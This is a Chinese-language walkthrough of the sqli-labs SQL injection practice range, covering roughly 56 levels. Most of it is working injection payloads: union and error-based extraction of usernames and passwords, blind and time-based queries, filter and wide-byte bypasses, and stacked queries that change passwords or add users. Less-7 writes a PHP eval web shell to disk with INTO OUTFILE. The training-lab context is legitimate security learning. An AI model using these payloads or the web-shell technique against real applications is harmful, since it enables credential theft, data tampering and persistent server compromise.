sqlilabs学习
sqli_labs简介
sqli_labs是一个很好的学习sql注入的靶场,安装在网站下载相关靶场源码解压到phpstudy的www目录下修改连接数据库配置文件中的用户名和密码,访问网站点击set up即可成功安装。然后我们选择关卡进行学习,这里也可以学习使用sqlmap工具直接把地址扔进里边跑。
sqlilabs关卡学习
Less-1 get - error based - single quotes - string(基于错误的get单引号字符型注入)
首先需要在url中添加参数?id=1,这时页面正常显示,没有报错。
我们在参数上加一个单引号会报错,可以判断它是单引号注入
常规注入我们使用order by来猜测字段数,猜测时使用二分法判断有几个字段,向上取整。输入' order by 10 --+
报错
然后二分尝试5报错
然后尝试3正常
我们在尝试一下4看一看
报错说明只有三个字段,然后我们尝试确定回显位置' union select 1,2,3 --+
在这里就需要让前面的语句报错才可以将此语句注入,这时我们往前面加一个-就可以报错,从而执行我们注入的语句,可以看到已经确定了位置。
现在我们就可以进行注入获取数据库名等相关信息:
|
我们查看数据库名
然后联合information_schema表查看表有那些' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
然后查表中的字段' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
这里用table_schema=来指定数据库名用table_name=指定表名
然后查询信息即可' union select 1,2,group_concat(username,0x3a,password) from users --+
这里有limt限制只能用group_concat函数合并,0x3a代表着:用来分隔
less-2- get - error based - intiger based(基于错误的get整型注入)
我们加个’引号报错说明存在注入
然后我们输入' and 1=1 --+
说明有可能是数字型我们去掉单引号
将and 1=1替换为and 1=2产看页面回显
回显不正常说明是数字型,然后猜字段将and 1=2 更换为order by 4(3)
然后获取字段位置=-1 union select 1,2,3
需要前面部分出错所以加一个-1这个不存在的值
获取信息-1 union select 1,database(),version()
其余查表等和第一关一样
less-3 - error based - single quoter with twist string (基于错误的get单引号变形字符型注入)
加个单引号查看报错信息
根据报错信息我们发现是字符型注入且闭合方式为')
我们构造payload为') union select 1,2,3 --+
之后的操作都一样
less-4 - get - error - double quotes -string (基于错误的get双引号字符型注入)
我们加个单引号查看信息发现不报错,但当我们加一个双引号是就会报错
并且发现报错信息中有括号,确定为字符型注入且闭合方式为")
尝试payload为")union select 1,2,3 --+
其余步骤都相同
less-5 - double injection - single quotes - string(双注入get单引号字符型注入)
我们输入正常的1回显you are in没有用户名和id的回显。
我们加一个单引号报错,可以判断闭合
我们判断字段数' and 1=1 order by 4--+
我们输入一个假条件发现没有回显' and 1=2 --+
条件正确有回显,条件错误没有回显,布尔盲注?其实不用,上面发现报错有回显,所以采用报错注入的方法,报错注入的运用前提是需要有数据库错误的显示,看源码
报错常用的三个函数extractvalue() updatexml() floor() 还有exp()这里介绍前三种
- 使用extractvalue函数进行报错注入
暴数据库名:' or|and extractvalue(1,concat(0x7e,database()|(select database()),0x7e)) --+
暴表'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
爆字段' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))--+
暴内容,group_concat函数可能放不下所有内容,可以采取截取或者limit函数读取' or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))--+
使用updatexml函数进行报错注入
暴库'or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
暴数据库表'or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+
暴字段'or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),1)--+
暴值'or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+
使用floor函数进行报错注入
暴库' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand()*2))x from information_schema.tables group by x --+
暴表' union select 1,count(*),concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand()*2))x from information_schema.tables group by x --+
暴字段' union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand()*2))x from information_schema.tables group by x--+
暴值' union select 1,count(*),concat(0x7e,(select (username)from users limit 0,1),0x7e,floor(rand()*2))x from information_schema.tables group by x --+
使用盲注的方法
这里可以尝试使用盲注使用left函数1' and left((select database()),1)='a' --+
这里如果正确显示you are in 错误就没有回显
我们已经知道是security尝试一下s
s成功返回了you are in 然后我们将left函数中的1改为2,因为已经确定了第一位,就来确定第二位
依此类推,就能推出我们需要的信息,但是步骤繁琐我们可以使用burp暴力破解。
成功暴破
less - 6 - get -double injection - double quotes - String(双注入get双引号字符型注入)
当我们输入单引号时发现不报错,输入双引号报错,根据报错信息我们可以判断为字符型注入,闭合方式为”.
其余的步骤和第五关完全一致只不过单引号闭合变为双引号闭合
less - 7 - get - dump into outfile - String(导出文件get字符型注入)
当我们添加id参数访问时页面出现use outfile为sql注入的写入与读取,读取文件为load_file(文件路径),写入文件into outfile(),into_dumpfile(),首先准备闭合语句,发现当为’))时可以闭合
首先猜字段数,通过页面回显布尔方式猜解到字段数为3,能够读写需要的几个条件:
- 需要高权限root
- 需要有文件写入权限secure_file_priv不是null
- 需要知道绝对路径
- 魔术引号gbc时关闭magic_quotes_gpc = off 关键步骤写入
同注入的方式写入一句话到文件中payload')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\shell.php" --+
然后使用蚁剑连接
也可以使用前边第五关的方法盲注或者报错注入的方法也能进行只不过闭合方式变一下
less - 8 get - blind - boolian based - singl quotes(布尔型单引号get盲注)
测试单引号,闭合没有回显,没有报错回显说明报错注入不合适
正确语句you are in 错误无回显,只能使用布尔盲注了
测试方式和第五关类似语句猜解数据库名' and ascii(substr(database(),1,1))>114 --+
说明是ascii码为115小写s
一次类推更换database就可以获取其他信息。
猜数据库表名1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117(?) --+
也可以使用时间盲注语句1' and if(substr(database(),1,1)='a',sleep(5))--+
less - 9 - blind - time based. - single quotes(基于时间的get单引号盲注)
尝试各种闭合后回显都一样且没有任何报错信息,查看第九关的源码可以发现是单引号闭合
使用单引号闭合,然后尝试时间盲注1' and if(length(database())=8,sleep(5),null)--+
其他操作和上一关的盲注类似。
less - 10 - blind - time based - double quotes(基于时间的型双引号盲注)
查看源码可以看到是双引号闭合
其余和第九关相同尝试一波1" and if(length(database())=8,sleep(5),null)--+
less - 11 - error based - single quotes -string(基于错误的post型单引号字符型注入)
尝试admin登录发现回显:
加单引号尝试注入发现报错,
构造语句判断是字符型注入
通过order by 猜字段数
查看回显位置
获取数据信息
post型注入可以使用sqlmap抓个包然后跑包,或者使用–data参数指定注入跑
less - 12 - post - error based - double quotes -string - with twist(基于错误的双引号post型字符型变形的注入)
通过简单测试,发现闭合方式为”)
在对其进行post注入时改一下闭合方式其余同lesss11,也可以使用报错注入类似于第五关
less - 13 - double injecion - single quotes -string - twist(post单引号变形双引号注入)
加上单引号发现闭合形式为’)
修改闭合方式使用第12关的报错注入,或者使用基于时间的盲注。
less - 14 - post - double injection - single quotes - string -twist (post单引号变形双注入)
在这里加单引号无变化,加双引号报错发现闭合方式为双引号闭合,在这里可以使用报错注入,或者盲注
less - 15 - post - blind/time based -single quotes(基于bool型/时间延迟单引号型post注入)
查看源码可以发现是单引号闭合,需要注意的点是通过返回的图片内容判断是否正确
使用时间盲注或者布尔盲注这里演示布尔盲注
获取数据库名
时间盲注
错误反应很快,正确加载很慢
less - 16 -post -blind/time based -double quotes(基于boole/时间延迟的双引号post型盲注)
当测试到admin”) #时登录成功,闭合方式为”),依旧使用时间或者布尔盲注这个和上一关很像但是闭合方式换成了”)
less - 17 - update query - error based -string(基于错误的更新查询post注入)
输入admin admin登录时提示更新密码,猜测注入点在密码的位置查看源码
果然在用户名哪里进行了检查而密码没有做处理
检查了传入值的前15位
报错注入
扔进sqlmap里边也行
less - 18 -post - header injection - uagent field - error based(基于错误的用户代理,头部注入)
打开页面我们发现网址直接显示在了页面说明后台读取了http头里的东西
我们尝试直接burp,在burp登录成功后,发现ua可以注入并且回显
查看源码
我们发现将ua插入数据库中这里就存在注入构造语句'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#
直接仍sqlmap吧使用sqlmap时需要指定等级为3 risk 2
less - 19 post - header injection - referer field - error based(基于头部的referer post报错注入)
这里和上面的比较相似,只是在referer出的回显,查看界面,我们发现它将ip和referer进行了输出
我真的直接仍sqlmap
less - 20 post -cookie injections -uagent field - error based(基于错误的cookie头部post注入)
我们登录后可以发现返回了很多页面信息
有一个按钮,发现可以删除cookie,所以我们使用的cookie进行了数据库查询,所以我们要在这里入手,注入点就在这里,点击按钮抓个包
然后我们加一个单引号报错:
其他操作都一样。sqlmap 打好* level 2
less - 21 cookie injection - error based -complex -string
查看源码我们发现cookie使用了base64的加密,用’)闭合
可以使用在线网站进行base64加解密https://tool.oschina.net/encrypt?type=3,在进行注入时我们也需要将输入的内容进行编码,否则会报错。举例如下:
这里直接输入不编码可以看到报错
输入编码后的语句:
如果要使用sqlmap进行跑的话需要使用–tamper使用脚本进行加密
less - 22 - cookie injection - error based -double quotes - string (基于错误的双引号字符型cookie注入)
根据源码我们发现使用的是双引号闭合,并且和上一关一样用base64编码
其他都不变只不过闭合方式变成了双引号。
less - 23 - get -error based-strip comments(基于错误的,过滤注释的get型)
这里重新回到get型发现输入单引号报错,但是注释符没有用了,猜测注释符被过滤,所以只能用闭合的方式将后边多余出来的也闭合,这里利用单引号可以闭合
|
这里不能使用order by去判断字段数了,只能使用union联合查询来判断字段数
|
来测试字段数
到三时返回并显示了位置,然后就可以直接添加语句进行注入了
|
less - 24 second degree injection real treat - store injections(二次注入)
这里使用的是二次注入,二次注入是指已存储(数据库,文件)的用户输入被读取后再次进入到sql查询语句中导致的注入,利用门槛高。
这一关有一个登录页面和注册页面,还有一个修改密码页面,该关卡使用二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里面我们利用注册页面,因为虽然存在函数对特殊字符进行转义,但是在调用sql语句时进行转义,当注册成功后账户密码存在到数据库时没有进行转义,以原本数据存入数据库中。当我们修改密码时,对于账户名是没有进行过滤的。
首先我们查看后台用户信息,有一个abcdefg的账户,我们通过二次注入修改他的密码
我们注册一个abcdefg’#用户来污染数据库,单引号是为了闭合修改密码时用户名处的单引号,井号为了注释后边
成功注册,污染成功
用我们注册的用户登录并且修改密码,进行二次注入
发生在我们第二次提交数据的时候
less - 25 trick with or & and(过滤了or和and)
查看源码我们发现单引号闭合,并且将or和and替换成空,但只替换一次,大小写绕过没有用,我们可以尝试双写绕过
双写绕过
less-25a trick with or & and blind(过滤了or和and的盲注)
查看源码不需要单引号包裹
没有单引号闭合,这里和上一关一样双写绕过
less - 26 trick with comments and space(过滤了注释符和空格)
将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换,空格绕过可以使用%90 tab键(水平)、%0a新建一行、%0c新的一页、%0d return功能、%0b tab(垂直)、%a0 空格来绕过,使用()将语句包裹起来绕过,报错注入空格但是这里windows+phpstudy无法绕过空格只能用()绕过
尝试一波id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0
‘0是为了闭合后边
less - 26a get - blind based - all your spaces and comments belong to us (过滤了空格和注释的盲注)
这一关和上关一样只不过闭合方式不同变成了')
但该页面也没有回显报错信息只能使用联合查询和盲注
注意在windows+phpstudy环境下%a0无法绕过空格但在docker中可以成功
less - 27 get - error based - all your union & select belong to us(过滤了union和select)
这一关过滤了union和select关键字我们通过大小写混合的方式绕过或者重写绕过
|
这里%0A可以做括号
less - 27a get - blind based - all your union & select belong to us
这里和上一关一样,只是闭合方式不一样,经过测试发现双引号可以闭合
使用联合注入和盲注
|
less - 28 get - error based - all your union & select belong to us string-single quote with parenthesis(基于错误的,有括号的单引号字符型,过滤了union和select的注入)
这一关和25关相似,过滤了注释符空格还过滤了union和select。s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。
|
less-28a 基于盲注的有括号的单引号字符型过滤了union和select等的注入
该关卡只过滤union+select。其他没有过滤。?id=-1')uniunion selecton select 1,2,3 --+
less-29
这一关是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候时只提取了第一个id,如果我们有两个id参数,第一个参数正常数字,第二个id参数进行sql注入,sql语句在接受了相同参数时接受后面的参数值?id=1&id=-1'%0aunion%0aselect %0a1,2,3--+
less-30
和29关差不多将单引号换成双引号?id=1&id=-1"%0aunion%0aselect %0a1,2,3--+
less-31
和30关差不多多了一个括号?id=1&id=-1")%0aunion%0aselect %0a1,2,3--+
less-32 宽字节绕过
这一关使用了preg_replace函数将斜杠,单引号和双引号过滤了,如果输入id=1”会变成id=1”,使得引号不起作用,但是可以注意到数据库使用了gbk编码我们可以使用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节,当某字符的大小为两个字节时称其为宽字节。所有默认英文字符占一个字节,汉字两个字节。?id=-1%df' union select 1,2,3--+
当我们需要使用sqlmap神器跑的时候需要加参数–tamper unmagicquotes跑宽字节
less-33
和上一关一样只不过换了函数addslashes()函数返回预定义字符之前添加反斜杠
less-34
这一关是post提交,使用addslashes函数对于账户和密码都进行了转义使用宽字节注入就行了加%df和后边自动添加的反斜杠组合成一个汉字绕过%df' union select 1,2,3--+
less-35
使用addslashes函数对于用户输入的内容进行了转义,但是参数id没有引号,主要影响后续暴破字段时候需要使用的名字加了引号,只需要将表名换成16进制进行编码就行,直接使用联合查询就可以
|
less-36
使用mysql_real_escape_string函数对于特殊字符进行转义,id参数是单引号,和32一样宽字节
less-37
这一关是提交方式使用post使用上一关的函数对账户和密码进行了转义,使用宽字节就行类似于34
less-38
这一关就是单引号闭合,使用正常单引号闭合可以进行注入,不过这里可以使用堆叠注入,因为存在mysqli_multi_query函数支持多条sql语句同时查询,我们知道sql中以;划分每一句,这样我们可以使用多条语句
因为是堆叠注入我们需要用;分隔开我们创建一个新用户
|
我们在查看一下
less-39
这一关id没有包裹和上一关一样不需要加单引号,修改一下jayjay的密码
?id=15;update users set password='123456' where username='jayjay';--+
less-40
这一关和39关一样id是整数不过闭合方式变成了单引号加括号,使用联合注入就可以?id=-1')%20union%20select%201,group_concat(username,password),3%20from%20users%20--+
也可以使用39关的堆叠注入?id=1');insert into users(username,password)values('hack','aaa666');--+
less-41
这一关和39关一样id是整数。
less-42
这一关因为账户进行了转义处理密码没有,数据库没有使用gbk编码不能和上面一样使用宽字节,但是存在堆叠注入,我们直接在密码哪里使用堆叠注入,向数据库插入密码和账号,单引号闭合。
查看是否成功
less-43
这一关和42差不多只不过闭合方式变成了单引号和括号。
less-44
这一关和42关一样只是关闭了报错
less-45 基于报错的password处的’)闭合注入
和43关一样只是关闭了报错
less-46 order by - error-numeric
我们根据提示输入sort=1尝试出现了一个表格
输入一个单引号可以进行报错注入
因为是一个表格所以order by后面不能进行联合查询,但是可以用desc或asc进行排序
我们尝试一下报错注入?sort=(extractvalue(1,concat(0x7e,(select user()),0x7e)))#
尝试一下时间盲注?sort=1 and if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))
less-47 order by clause-error-single quote
使用单引号闭合,其余和46一样,可以使用报错注入。
less-48
这一关关闭了报错无法使用报错注入但可以使用时间盲注
less-49
同样和47一样没有报错显示用延时注入
less-50
这一关可以使用报错注入不过这里还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行,也可以延时注入。借鉴38关
less-51
使用单引号闭合可以报错注入,延时注入,堆叠注入
less-52
参数整型,没有报错显示,只能使用堆叠或延时注入
less-53
参数是字符型,单引号闭合,没有报错显示,和52一样
less-54
只有10次输入机会,超过十次所有表名列明等会随机重置,单引号闭合
less-55
有14次机会,id加括号的整数
less-56
单引号括号闭合
剩下的关卡是限制查询次数,变更闭合方式找到闭合绕过限制即可注入